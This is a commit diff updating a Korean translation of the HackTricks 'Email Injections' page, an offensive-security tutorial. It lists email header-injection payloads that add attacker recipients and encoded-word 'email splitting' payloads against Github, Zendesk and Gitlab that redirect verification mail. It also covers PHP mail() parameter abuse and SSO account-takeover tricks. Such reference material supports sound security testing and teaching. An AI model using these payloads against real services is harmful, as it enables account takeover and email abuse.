mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['pentesting-web/email-injections.md', 'todo/emails-vulns.md'
This commit is contained in:
parent
a5f287361b
commit
5d7fe815ff
2 changed files with 97 additions and 35 deletions
|
@ -840,7 +840,6 @@
|
|||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
* [Emails Vulnerabilities](todo/emails-vulns.md)
|
||||
* [Android Forensics](todo/android-forensics.md)
|
||||
* [TR-069](todo/tr-069.md)
|
||||
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||
|
|
|
@ -1,31 +1,31 @@
|
|||
# Email Injections
|
||||
# 이메일 인젝션
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
오늘 바로 접근하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 전송된 이메일에 주입하기
|
||||
## 발송된 이메일에 인젝션
|
||||
|
||||
### 발신자 인수 뒤에 Cc 및 Bcc 주입하기
|
||||
### 발신자 인자 뒤에 Cc 및 Bcc 인젝션
|
||||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
|
@ -37,7 +37,7 @@ From:sender@domain.com%0ATo:attacker@domain.com
|
|||
```
|
||||
메시지는 원래 수신자와 공격자 계정으로 전송됩니다.
|
||||
|
||||
### 주제 인자 주입
|
||||
### Inject Subject argument
|
||||
```
|
||||
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
||||
```
|
||||
|
@ -69,13 +69,13 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
|
||||
이 섹션은 **공격자가 이 매개변수를 제어한다고 가정할 때 이를 악용하는 방법**에 기반합니다.
|
||||
|
||||
이 매개변수는 PHP가 바이너리 sendmail을 호출하는 데 사용할 명령줄에 추가됩니다. 그러나 `escapeshellcmd($additional_parameters)` 함수로 세척됩니다.
|
||||
이 매개변수는 PHP가 바이너리 sendmail을 호출하는 데 사용할 명령줄에 추가됩니다. 그러나 `escapeshellcmd($additional_parameters)` 함수로 정리됩니다.
|
||||
|
||||
이 경우 공격자는 **sendmail에 대한 추가 매개변수를 주입할 수 있습니다**.
|
||||
|
||||
#### /usr/sbin/sendmail 구현의 차이점
|
||||
|
||||
**sendmail** 인터페이스는 시스템에 설치된 **MTA 이메일 소프트웨어**(Sendmail, Postfix, Exim 등)에 의해 **제공됩니다**. 기본 기능(-t -i -f 매개변수 등)은 호환성 이유로 **같지만**, 설치된 MTA에 따라 **다른 기능과 매개변수**는 크게 다릅니다.
|
||||
**sendmail** 인터페이스는 **시스템에 설치된 MTA 이메일 소프트웨어**(Sendmail, Postfix, Exim 등)에서 **제공됩니다**. **기본 기능**(예: -t -i -f 매개변수)은 호환성 이유로 **같은** 상태를 유지하지만, **다른 기능과 매개변수**는 설치된 MTA에 따라 크게 다릅니다.
|
||||
|
||||
다음은 sendmail 명령/인터페이스의 다양한 매뉴얼 페이지의 몇 가지 예입니다:
|
||||
|
||||
|
@ -83,9 +83,13 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
* Postfix MTA: http://www.postfix.org/mailq.1.html
|
||||
* Exim MTA: https://linux.die.net/man/8/eximReferences
|
||||
|
||||
**sendmail** 바이너리의 출처에 따라 이를 악용하고 **파일을 유출하거나 임의의 명령을 실행하는** 다양한 옵션이 발견되었습니다. [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)에서 확인하세요.
|
||||
**sendmail** 바이너리의 **출처에 따라** 이를 악용하고 l**eak 파일 또는 임의의 명령을 실행하는 다양한 옵션이 발견되었습니다**. [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)에서 확인하세요.
|
||||
|
||||
## 이메일 이름에 주입
|
||||
## 이메일 이름에 주입하기
|
||||
|
||||
{% hint style="danger" %}
|
||||
임의의 도메인 이름(예: Github, Gitlab, CloudFlare Zero trust...)으로 서비스에 계정을 생성하고, 확인 이메일을 자신의 이메일 주소로 수신하여 이를 확인하면, 피해 회사의 민감한 위치에 접근할 수 있을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 이메일의 무시된 부분
|
||||
|
||||
|
@ -93,7 +97,7 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
|
||||
* 예: john.doe+intigriti@example.com → john.doe@example.com
|
||||
|
||||
**괄호 () 사이의 주석**은 시작 또는 끝에서 무시됩니다.
|
||||
**괄호 () 사이의 주석**은 시작 또는 끝에 있을 경우에도 무시됩니다.
|
||||
|
||||
* 예: john.doe(intigriti)@example.com → john.doe@example.com
|
||||
|
||||
|
@ -112,38 +116,97 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
* john.doe@\[127.0.0.1]
|
||||
* john.doe@\[IPv6:2001:db8::1]
|
||||
|
||||
### 기타 취약점
|
||||
### 이메일 인코딩
|
||||
|
||||
[**이 연구**](https://portswigger.net/research/splitting-the-email-atom)에서 설명한 바와 같이, 이메일 이름은 인코딩된 문자를 포함할 수도 있습니다:
|
||||
|
||||
* **PHP 256 오버플로우**: PHP `chr` 함수는 문자가 양수가 될 때까지 256을 계속 추가한 후 `%256` 연산을 수행합니다.
|
||||
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
|
||||
|
||||
{% hint style="success" %}
|
||||
이 트릭의 목표는 `RCPT TO:<"collab@psres.net>collab"@example.com>`와 같은 주입으로 끝나는 것입니다.\
|
||||
이는 확인 이메일을 예상된 이메일 주소와 다른 이메일 주소로 보내게 하여 이메일 이름 안에 다른 이메일 주소를 삽입하고 이메일을 보낼 때 구문을 깨뜨리게 됩니다.
|
||||
{% endhint %}
|
||||
|
||||
다양한 인코딩:
|
||||
```bash
|
||||
# Format
|
||||
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
|
||||
|
||||
# =? -> Start of encode
|
||||
# utf-8 -> encoding used
|
||||
# ? -> separator
|
||||
# q -> type of encoding
|
||||
# ? -> separator
|
||||
# =41=42=43 -> Hex encoded data
|
||||
# ?= end of encoding
|
||||
|
||||
# Other encodings, same example:
|
||||
# iso-8859-1
|
||||
=?iso-8859-1?q?=61=62=63?=hi@example.com
|
||||
# utf-8
|
||||
=?utf-8?q?=61=62=63?=hi@example.com
|
||||
# utf-7
|
||||
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
|
||||
# q encoding + utf-7
|
||||
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
|
||||
# base64
|
||||
=?utf-8?b?QUJD?=hi@example.com
|
||||
# bas64 + utf-7
|
||||
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
|
||||
#punycode
|
||||
x@xn--svg/-9x6 → x@<svg/
|
||||
```
|
||||
Payloads:
|
||||
|
||||
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
|
||||
* 인코딩된 `@`는 =40, 인코딩된 `>`는 `=3e`, null은 `=00` 입니다.
|
||||
* `collab@psres.net`으로 인증 이메일이 전송됩니다.
|
||||
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
|
||||
* 이전과 같은 트릭이지만, 시작 부분에 일반 따옴표를 추가하고 인코딩된 따옴표 `=22`를 인코딩된 `@` 앞에 추가한 후, 다음 이메일 앞에 따옴표를 시작하고 닫아 Zendesk 내부에서 사용된 구문을 수정합니다.
|
||||
* `collab@psres.net`으로 인증 이메일이 전송됩니다.
|
||||
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
|
||||
* 주소를 구분하기 위해 언더스코어를 공백으로 사용한 점에 유의하세요.
|
||||
* `collab@psres.net`으로 인증 이메일이 전송됩니다.
|
||||
* Punycode: Punycode를 사용하여 Joomla에 `<style` 태그를 주입하고 이를 악용하여 CSS 유출을 통해 CSRF 토큰을 훔칠 수 있었습니다.
|
||||
|
||||
#### Tooling
|
||||
|
||||
* 이러한 조합을 퍼징하여 이메일 형식을 공격하려는 **Burp Suite Turbo Intruder 스크립트**가 있습니다. 이 스크립트는 이미 잠재적으로 작동하는 조합을 가지고 있습니다.
|
||||
* [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)를 사용하여 이메일 분할 공격을 생성하는 것도 가능합니다.
|
||||
|
||||
### Other vulns
|
||||
|
||||
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
|
||||
|
||||
## 제3자 SSO
|
||||
## Third party SSO
|
||||
|
||||
### XSS
|
||||
|
||||
**github** 또는 **salesforce**와 같은 일부 서비스는 **XSS 페이로드가 포함된 이메일 주소를 생성할 수 있도록** 허용합니다. 이 제공자를 사용하여 다른 서비스에 로그인할 수 있고 이 서비스가 이메일을 **올바르게 세척하지 않는다면**, **XSS**를 유발할 수 있습니다.
|
||||
**github** 또는 **salesforce**와 같은 일부 서비스는 **XSS 페이로드가 포함된 이메일 주소를 생성**할 수 있게 해줍니다. 이러한 제공자를 사용하여 다른 서비스에 로그인할 수 있고, 이 서비스가 이메일을 **올바르게 정리하지 않으면** **XSS**를 유발할 수 있습니다.
|
||||
|
||||
### 계정 탈취
|
||||
### Account-Takeover
|
||||
|
||||
**SSO 서비스**가 **주어진 이메일 주소를 확인하지 않고 계정을 생성할 수 있도록** 허용하고(예: **salesforce**) 그 계정을 사용하여 **salesforce를 신뢰하는 다른 서비스에 로그인할 수 있다면**, 어떤 계정에도 접근할 수 있습니다.\
|
||||
**SSO 서비스**가 **주어진 이메일 주소를 확인하지 않고 계정을 생성**할 수 있게 해주고 (예: **salesforce**), 그 계정을 사용하여 **salesforce를 신뢰하는 다른 서비스에 로그인**할 수 있다면, 어떤 계정에도 접근할 수 있습니다.\
|
||||
_salesforce는 주어진 이메일이 확인되었는지 여부를 표시하지만, 애플리케이션은 이 정보를 고려해야 합니다._
|
||||
|
||||
## 회신 주소
|
||||
## Reply-To
|
||||
|
||||
_**From: company.com**_을 사용하여 이메일을 보내고 _**Replay-To: attacker.com**_을 설정하면, 내부 주소에서 이메일이 발송되었기 때문에 **자동 회신**이 전송될 경우 **공격자**가 그 **응답**을 **받을 수 있습니다**.
|
||||
_**From: company.com**_을 사용하여 이메일을 보낼 수 있으며, _**Replay-To: attacker.com**_을 설정하면, 내부 주소에서 이메일이 전송되었기 때문에 **자동 회신**이 전송될 경우 **공격자**가 그 **응답**을 **받을 수** 있습니다.
|
||||
|
||||
## 하드 바운스 비율
|
||||
## Hard Bounce Rate
|
||||
|
||||
AWS와 같은 특정 서비스는 **하드 바운스 비율**로 알려진 임계값을 구현하며, 일반적으로 10%로 설정됩니다. 이는 이메일 배달 서비스에 특히 중요한 지표입니다. 이 비율을 초과하면 AWS의 이메일 서비스와 같은 서비스가 중단되거나 차단될 수 있습니다.
|
||||
AWS와 같은 특정 서비스는 **Hard Bounce Rate**로 알려진 임계값을 구현하며, 일반적으로 10%로 설정됩니다. 이는 이메일 전송 서비스에 특히 중요한 지표입니다. 이 비율을 초과하면 AWS의 이메일 서비스와 같은 서비스가 중단되거나 차단될 수 있습니다.
|
||||
|
||||
**하드 바운스**는 수신자의 주소가 유효하지 않거나 존재하지 않아 발신자에게 반환된 **이메일**을 의미합니다. 이는 **이메일**이 존재하지 않는 주소로 전송되거나, 실제가 아닌 도메인으로 전송되거나, 수신자 서버가 **이메일** 수신을 거부하는 등의 다양한 이유로 발생할 수 있습니다.
|
||||
**하드 바운스**는 수신자의 주소가 유효하지 않거나 존재하지 않아 발신자에게 반환된 **이메일**을 의미합니다. 이는 존재하지 않는 주소로 이메일이 전송되거나, 실제가 아닌 도메인으로 전송되거나, 수신자 서버가 **이메일** 수신을 거부하는 등의 다양한 이유로 발생할 수 있습니다.
|
||||
|
||||
AWS의 맥락에서 1000개의 이메일을 보내고 그 중 100개가 하드 바운스가 발생하면(유효하지 않은 주소나 도메인과 같은 이유로), 이는 10%의 하드 바운스 비율을 의미합니다. 이 비율에 도달하거나 초과하면 AWS SES(간단한 이메일 서비스)가 이메일 발송 기능을 차단하거나 중단할 수 있습니다.
|
||||
AWS의 맥락에서 1000개의 이메일을 보내고 그 중 100개가 하드 바운스가 발생하면 (유효하지 않은 주소나 도메인과 같은 이유로) 이는 10%의 하드 바운스 비율을 의미합니다. 이 비율에 도달하거나 초과하면 AWS SES (Simple Email Service)가 이메일 전송 기능을 차단하거나 중단할 수 있습니다.
|
||||
|
||||
중단 없는 이메일 서비스를 보장하고 발신자 평판을 유지하기 위해 낮은 하드 바운스 비율을 유지하는 것이 중요합니다. 메일링 리스트의 이메일 주소 품질을 모니터링하고 관리하는 것이 이를 달성하는 데 크게 도움이 될 수 있습니다.
|
||||
|
||||
자세한 정보는 AWS의 하드 바운스 및 불만 처리에 대한 공식 문서를 참조할 수 있습니다: [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||||
자세한 정보는 AWS의 공식 문서에서 바운스 및 불만 처리에 대한 내용을 참조할 수 있습니다: [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
|
||||
|
||||
## 참고문헌
|
||||
## References
|
||||
|
||||
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
|
||||
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
@ -151,16 +214,16 @@ AWS의 맥락에서 1000개의 이메일을 보내고 그 중 100개가 하드
|
|||
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹을 배우고 연습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹을 배우고 연습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 참여하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -168,7 +231,7 @@ GCP 해킹을 배우고 연습하세요: <img src="/.gitbook/assets/grte.png" al
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
|
||||
지금 액세스하세요:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
|
||||
|
|
Loading…
Reference in a new issue